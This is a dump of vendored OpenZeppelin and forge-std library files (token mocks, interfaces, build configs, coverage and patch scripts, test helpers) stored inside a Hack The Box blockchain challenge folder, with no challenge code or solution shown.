2 | pragma solidity ^0.8.20;
3 |
4 | import {ERC20} from "../../token/ERC20/ERC20.sol";
5 |
6 | contract ERC20Mock is ERC20 {
7 | constructor() ERC20("ERC20Mock", "E20M") {}
8 |
9 | function mint(address account, uint256 amount) external {
10 | _mint(account, amount);
11 | }
12 |
13 | function burn(address account, uint256 amount) external {
14 | _burn(account, amount);
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/token/ERC20MulticallMock.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 |
3 | pragma solidity ^0.8.20;
4 |
5 | import {ERC20} from "../../token/ERC20/ERC20.sol";
6 | import {Multicall} from "../../utils/Multicall.sol";
7 |
8 | abstract contract ERC20MulticallMock is ERC20, Multicall {}
9 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/token/ERC4626OffsetMock.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 |
3 | pragma solidity ^0.8.20;
4 |
5 | import {ERC4626} from "../../token/ERC20/extensions/ERC4626.sol";
6 |
7 | abstract contract ERC4626OffsetMock is ERC4626 {
8 | uint8 private immutable _offset;
9 |
10 | constructor(uint8 offset_) {
11 | _offset = offset_;
12 | }
13 |
14 | function _decimalsOffset() internal view virtual override returns (uint8) {
15 | return _offset;
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/proxy/beacon/IBeacon.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | // OpenZeppelin Contracts (last updated v5.0.0) (proxy/beacon/IBeacon.sol)
3 |
4 | pragma solidity ^0.8.20;
5 |
6 | /**
7 | * @dev This is the interface that {BeaconProxy} expects of its beacon.
8 | */
9 | interface IBeacon {
10 | /**
11 | * @dev Must return an address that can be used as a delegate call target.
12 | *
13 | * {UpgradeableBeacon} will check that this address is a contract.
14 | */
15 | function implementation() external view returns (address);
16 | }
17 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/token/common/README.adoc:
--------------------------------------------------------------------------------
1 | = Common (Tokens)
2 |
3 | Functionality that is common to multiple token standards.
4 |
5 | * {ERC2981}: NFT Royalties compatible with both ERC-721 and ERC-1155.
6 | ** For ERC-721 consider {ERC721Royalty} which clears the royalty information from storage on burn.
7 |
8 | == Contracts
9 |
10 | {{ERC2981}}
11 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/utils/Comparators.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | // OpenZeppelin Contracts (last updated v5.1.0) (utils/Comparators.sol)
3 |
4 | pragma solidity ^0.8.20;
5 |
6 | /**
7 | * @dev Provides a set of functions to compare values.
8 | *
9 | * _Available since v5.1._
10 | */
11 | library Comparators {
12 | function lt(uint256 a, uint256 b) internal pure returns (bool) {
13 | return a < b;
14 | }
15 |
16 | function gt(uint256 a, uint256 b) internal pure returns (bool) {
17 | return a > b;
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/antora.yml:
--------------------------------------------------------------------------------
1 | name: contracts
2 | title: Contracts
3 | version: 5.x
4 | prerelease: false
5 | nav:
6 | - modules/ROOT/nav.adoc
7 | - modules/api/nav.adoc
8 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-attack-3a.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-attack-3a.png
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-attack-3b.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-attack-3b.png
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-attack-6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-attack-6.png
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-attack.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-attack.png
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-deposit.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-deposit.png
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-mint.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-mint.png
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-rate-linear.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-rate-linear.png
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-rate-loglog.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-rate-loglog.png
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-rate-loglogext.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-rate-loglogext.png
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/tally-exec.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/tally-exec.png
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/tally-vote.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/tally-vote.png
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/templates/page.hbs:
--------------------------------------------------------------------------------
1 | :github-icon: pass:[]
2 | {{#with-prelude}}
3 | {{readme (readme-path)}}
4 | {{/with-prelude}}
5 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/foundry.toml:
--------------------------------------------------------------------------------
1 | [profile.default]
2 | solc_version = '0.8.24'
3 | evm_version = 'cancun'
4 | optimizer = true
5 | optimizer-runs = 200
6 | src = 'contracts'
7 | out = 'out'
8 | libs = ['node_modules', 'lib']
9 | test = 'test'
10 | cache_path = 'cache_forge'
11 |
12 | [fuzz]
13 | runs = 5000
14 | max_test_rejects = 150000
15 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/fv-requirements.txt:
--------------------------------------------------------------------------------
1 | certora-cli==4.13.1
2 | # File uses a custom name (fv-requirements.txt) so that it isn't picked by Netlify's build
3 | # whose latest Python version is 0.3.8, incompatible with most recent versions of Halmos
4 | halmos==0.2.0
5 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/hardhat/async-test-sanity.js:
--------------------------------------------------------------------------------
1 | process.on('unhandledRejection', reason => {
2 | throw new Error(reason);
3 | });
4 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/hardhat/skip-foundry-tests.js:
--------------------------------------------------------------------------------
1 | const { subtask } = require('hardhat/config');
2 | const { TASK_COMPILE_SOLIDITY_GET_SOURCE_PATHS } = require('hardhat/builtin-tasks/task-names');
3 |
4 | subtask(TASK_COMPILE_SOLIDITY_GET_SOURCE_PATHS).setAction(async (_, __, runSuper) =>
5 | (await runSuper()).filter(path => !path.endsWith('.t.sol')),
6 | );
7 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/lib/forge-std/.gitattributes:
--------------------------------------------------------------------------------
1 | src/Vm.sol linguist-generated
2 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/lib/forge-std/.gitignore:
--------------------------------------------------------------------------------
1 | cache/
2 | out/
3 | .vscode
4 | .idea
5 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/lib/forge-std/test/compilation/CompilationScript.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity >=0.6.2 <0.9.0;
3 |
4 | pragma experimental ABIEncoderV2;
5 |
6 | import "../../src/Script.sol";
7 |
8 | // The purpose of this contract is to benchmark compilation time to avoid accidentally introducing
9 | // a change that results in very long compilation times with via-ir. See https://github.com/foundry-rs/forge-std/issues/207
10 | contract CompilationScript is Script {}
11 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/lib/forge-std/test/compilation/CompilationScriptBase.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity >=0.6.2 <0.9.0;
3 |
4 | pragma experimental ABIEncoderV2;
5 |
6 | import "../../src/Script.sol";
7 |
8 | // The purpose of this contract is to benchmark compilation time to avoid accidentally introducing
9 | // a change that results in very long compilation times with via-ir. See https://github.com/foundry-rs/forge-std/issues/207
10 | contract CompilationScriptBase is ScriptBase {}
11 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/lib/forge-std/test/compilation/CompilationTest.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity >=0.6.2 <0.9.0;
3 |
4 | pragma experimental ABIEncoderV2;
5 |
6 | import "../../src/Test.sol";
7 |
8 | // The purpose of this contract is to benchmark compilation time to avoid accidentally introducing
9 | // a change that results in very long compilation times with via-ir. See https://github.com/foundry-rs/forge-std/issues/207
10 | contract CompilationTest is Test {}
11 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/lib/forge-std/test/compilation/CompilationTestBase.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity >=0.6.2 <0.9.0;
3 |
4 | pragma experimental ABIEncoderV2;
5 |
6 | import "../../src/Test.sol";
7 |
8 | // The purpose of this contract is to benchmark compilation time to avoid accidentally introducing
9 | // a change that results in very long compilation times with via-ir. See https://github.com/foundry-rs/forge-std/issues/207
10 | contract CompilationTestBase is TestBase {}
11 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/lib/forge-std/test/fixtures/test.json:
--------------------------------------------------------------------------------
1 | {
2 | "a": 123,
3 | "b": "test",
4 | "c": {
5 | "a": 123,
6 | "b": "test"
7 | }
8 | }
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/lib/forge-std/test/fixtures/test.toml:
--------------------------------------------------------------------------------
1 | a = 123
2 | b = "test"
3 |
4 | [c]
5 | a = 123
6 | b = "test"
7 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/netlify.toml:
--------------------------------------------------------------------------------
1 | [build]
2 | command = "npm run docs"
3 | publish = "build/site"
4 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/remappings.txt:
--------------------------------------------------------------------------------
1 | @openzeppelin/contracts/=contracts/
2 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/renovate.json:
--------------------------------------------------------------------------------
1 | {
2 | "extends": ["github>OpenZeppelin/configs"],
3 | "labels": ["ignore-changeset"]
4 | }
5 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/scripts/checks/coverage.sh:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 |
3 | set -euo pipefail
4 |
5 | export COVERAGE=true
6 | export FOUNDRY_FUZZ_RUNS=10
7 |
8 | # Hardhat coverage
9 | hardhat coverage
10 |
11 | if [ "${CI:-"false"}" == "true" ]; then
12 | # Foundry coverage
13 | forge coverage --report lcov --ir-minimum
14 | # Remove zero hits
15 | sed -i '/,0/d' lcov.info
16 | fi
17 |
18 | # Reports are then uploaded to Codecov automatically by workflow, and merged.
19 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/scripts/checks/generation.sh:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 |
3 | set -euo pipefail
4 |
5 | npm run generate
6 | git diff -R --exit-code
7 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/scripts/generate/format-lines.js:
--------------------------------------------------------------------------------
1 | function formatLines(...lines) {
2 | return [...indentEach(0, lines)].join('\n') + '\n';
3 | }
4 |
5 | function* indentEach(indent, lines) {
6 | for (const line of lines) {
7 | if (Array.isArray(line)) {
8 | yield* indentEach(indent + 1, line);
9 | } else {
10 | const padding = ' '.repeat(indent);
11 | yield* line.split('\n').map(subline => (subline === '' ? '' : padding + subline));
12 | }
13 | }
14 | }
15 |
16 | module.exports = formatLines;
17 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/scripts/generate/helpers/sanitize.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | address: expr => `and(${expr}, shr(96, not(0)))`,
3 | bool: expr => `iszero(iszero(${expr}))`,
4 | bytes: (expr, size) => `and(${expr}, shl(${256 - 8 * size}, not(0)))`,
5 | };
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/scripts/generate/templates/Arrays.opts.js:
--------------------------------------------------------------------------------
1 | const TYPES = ['address', 'bytes32', 'uint256'];
2 |
3 | module.exports = { TYPES };
4 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/scripts/generate/templates/Checkpoints.opts.js:
--------------------------------------------------------------------------------
1 | // OPTIONS
2 | const VALUE_SIZES = [224, 208, 160];
3 |
4 | const defaultOpts = size => ({
5 | historyTypeName: `Trace${size}`,
6 | checkpointTypeName: `Checkpoint${size}`,
7 | checkpointFieldName: '_checkpoints',
8 | keyTypeName: `uint${256 - size}`,
9 | keyFieldName: '_key',
10 | valueTypeName: `uint${size}`,
11 | valueFieldName: '_value',
12 | });
13 |
14 | module.exports = {
15 | VALUE_SIZES,
16 | OPTS: VALUE_SIZES.map(size => defaultOpts(size)),
17 | };
18 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/scripts/generate/templates/EnumerableSet.opts.js:
--------------------------------------------------------------------------------
1 | const { capitalize } = require('../../helpers');
2 |
3 | const mapType = str => (str == 'uint256' ? 'Uint' : capitalize(str));
4 |
5 | const formatType = type => ({
6 | name: `${mapType(type)}Set`,
7 | type,
8 | });
9 |
10 | const TYPES = ['bytes32', 'address', 'uint256'].map(formatType);
11 |
12 | module.exports = { TYPES, formatType };
13 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/scripts/generate/templates/MerkleProof.opts.js:
--------------------------------------------------------------------------------
1 | const { product } = require('../../helpers');
2 |
3 | const OPTS = product(
4 | [
5 | { suffix: '', location: 'memory' },
6 | { suffix: 'Calldata', location: 'calldata' },
7 | ],
8 | [{ visibility: 'pure' }, { visibility: 'view', hash: 'hasher' }],
9 | ).map(objs => Object.assign({}, ...objs));
10 |
11 | module.exports = { OPTS };
12 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/scripts/generate/templates/Packing.opts.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | SIZES: [1, 2, 4, 6, 8, 10, 12, 16, 20, 22, 24, 28, 32],
3 | };
4 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/scripts/git-user-config.sh:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 |
3 | set -euo pipefail -x
4 |
5 | git config user.name 'github-actions'
6 | git config user.email '41898282+github-actions[bot]@users.noreply.github.com'
7 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/scripts/helpers.js:
--------------------------------------------------------------------------------
1 | const iterate = require('../test/helpers/iterate');
2 | const strings = require('../test/helpers/strings');
3 |
4 | module.exports = {
5 | ...iterate,
6 | ...strings,
7 | };
8 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/scripts/prepare.sh:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 |
3 | set -euo pipefail
4 |
5 | if git status &>/dev/null; then git config core.hooksPath .githooks; fi
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/scripts/solhint-custom/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "solhint-plugin-openzeppelin",
3 | "version": "0.0.0",
4 | "private": true
5 | }
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/scripts/upgradeable/patch-apply.sh:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 |
3 | set -euo pipefail
4 |
5 | DIRNAME="$(dirname -- "${BASH_SOURCE[0]}")"
6 | PATCH="$DIRNAME/upgradeable.patch"
7 |
8 | error() {
9 | echo Error: "$*" >&2
10 | exit 1
11 | }
12 |
13 | if ! git diff-files --quiet ":!$PATCH" || ! git diff-index --quiet HEAD ":!$PATCH"; then
14 | error "Repository must have no staged or unstaged changes"
15 | fi
16 |
17 | if ! git apply -3 "$PATCH"; then
18 | error "Fix conflicts and run $DIRNAME/patch-save.sh"
19 | fi
20 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/scripts/upgradeable/patch-save.sh:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 |
3 | set -euo pipefail
4 |
5 | DIRNAME="$(dirname -- "${BASH_SOURCE[0]}")"
6 | PATCH="$DIRNAME/upgradeable.patch"
7 |
8 | error() {
9 | echo Error: "$*" >&2
10 | exit 1
11 | }
12 |
13 | if ! git diff-files --quiet ":!$PATCH"; then
14 | error "Unstaged changes. Stage to include in patch or temporarily stash."
15 | fi
16 |
17 | git diff-index --cached --patch --output="$PATCH" HEAD
18 | git restore --staged --worktree ":!$PATCH"
19 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/test/TESTING.md:
--------------------------------------------------------------------------------
1 | ## Testing
2 |
3 | Unit test are critical to OpenZeppelin Contracts. They help ensure code quality and mitigate against security vulnerabilities. The directory structure within the `/test` directory corresponds to the `/contracts` directory.
4 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/test/helpers/account.js:
--------------------------------------------------------------------------------
1 | const { ethers } = require('hardhat');
2 | const { impersonateAccount, setBalance } = require('@nomicfoundation/hardhat-network-helpers');
3 |
4 | // Hardhat default balance
5 | const DEFAULT_BALANCE = 10000n * ethers.WeiPerEther;
6 |
7 | const impersonate = (account, balance = DEFAULT_BALANCE) =>
8 | impersonateAccount(account)
9 | .then(() => setBalance(account, balance))
10 | .then(() => ethers.getSigner(account));
11 |
12 | module.exports = {
13 | impersonate,
14 | };
15 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/test/helpers/constants.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | MAX_UINT48: 2n ** 48n - 1n,
3 | MAX_UINT64: 2n ** 64n - 1n,
4 | };
5 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/test/helpers/deploy.js:
--------------------------------------------------------------------------------
1 | const { artifacts, ethers } = require('hardhat');
2 | const { setCode } = require('@nomicfoundation/hardhat-network-helpers');
3 | const { generators } = require('./random');
4 |
5 | const forceDeployCode = (name, address = generators.address(), runner = ethers.provider) =>
6 | artifacts
7 | .readArtifact(name)
8 | .then(({ abi, deployedBytecode }) =>
9 | setCode(address, deployedBytecode).then(() => new ethers.Contract(address, abi, runner)),
10 | );
11 |
12 | module.exports = {
13 | forceDeployCode,
14 | };
15 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/test/helpers/methods.js:
--------------------------------------------------------------------------------
1 | const { ethers } = require('hardhat');
2 |
3 | const selector = signature => ethers.FunctionFragment.from(signature).selector;
4 |
5 | const interfaceId = signatures =>
6 | ethers.toBeHex(
7 | signatures.reduce((acc, signature) => acc ^ ethers.toBigInt(selector(signature)), 0n),
8 | 4,
9 | );
10 |
11 | module.exports = {
12 | selector,
13 | interfaceId,
14 | };
15 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/test/helpers/strings.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | // Capitalize the first char of a string
3 | // Example: capitalize('uint256') → 'Uint256'
4 | capitalize: str => str.charAt(0).toUpperCase() + str.slice(1),
5 | };
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/test/utils/Nonces.test.js:
--------------------------------------------------------------------------------
1 | const { ethers } = require('hardhat');
2 | const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers');
3 | const { shouldBehaveLikeNonces } = require('./Nonces.behavior');
4 |
5 | async function fixture() {
6 | const mock = await ethers.deployContract('$Nonces');
7 | return { mock };
8 | }
9 |
10 | describe('Nonces', function () {
11 | beforeEach(async function () {
12 | Object.assign(this, await loadFixture(fixture));
13 | });
14 |
15 | shouldBehaveLikeNonces();
16 | });
17 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/test/utils/introspection/ERC165.test.js:
--------------------------------------------------------------------------------
1 | const { ethers } = require('hardhat');
2 | const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers');
3 |
4 | const { shouldSupportInterfaces } = require('./SupportsInterface.behavior');
5 |
6 | async function fixture() {
7 | return {
8 | mock: await ethers.deployContract('$ERC165'),
9 | };
10 | }
11 |
12 | describe('ERC165', function () {
13 | beforeEach(async function () {
14 | Object.assign(this, await loadFixture(fixture));
15 | });
16 |
17 | shouldSupportInterfaces();
18 | });
19 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/netlify.toml:
--------------------------------------------------------------------------------
1 | [build]
2 | command = "npm run docs"
3 | publish = "build/site"
4 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/remappings.txt:
--------------------------------------------------------------------------------
1 | @openzeppelin/contracts-upgradeable/=contracts/
2 | @openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/
3 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/renovate.json:
--------------------------------------------------------------------------------
1 | {
2 | "extends": ["github>OpenZeppelin/configs"],
3 | "labels": ["ignore-changeset"]
4 | }
5 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/scripts/checks/coverage.sh:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 |
3 | set -euo pipefail
4 |
5 | export COVERAGE=true
6 | export FOUNDRY_FUZZ_RUNS=10
7 |
8 | # Hardhat coverage
9 | hardhat coverage
10 |
11 | if [ "${CI:-"false"}" == "true" ]; then
12 | # Foundry coverage
13 | forge coverage --report lcov --ir-minimum
14 | # Remove zero hits
15 | sed -i '/,0/d' lcov.info
16 | fi
17 |
18 | # Reports are then uploaded to Codecov automatically by workflow, and merged.
19 |
--------------------------------------------------------------------------------
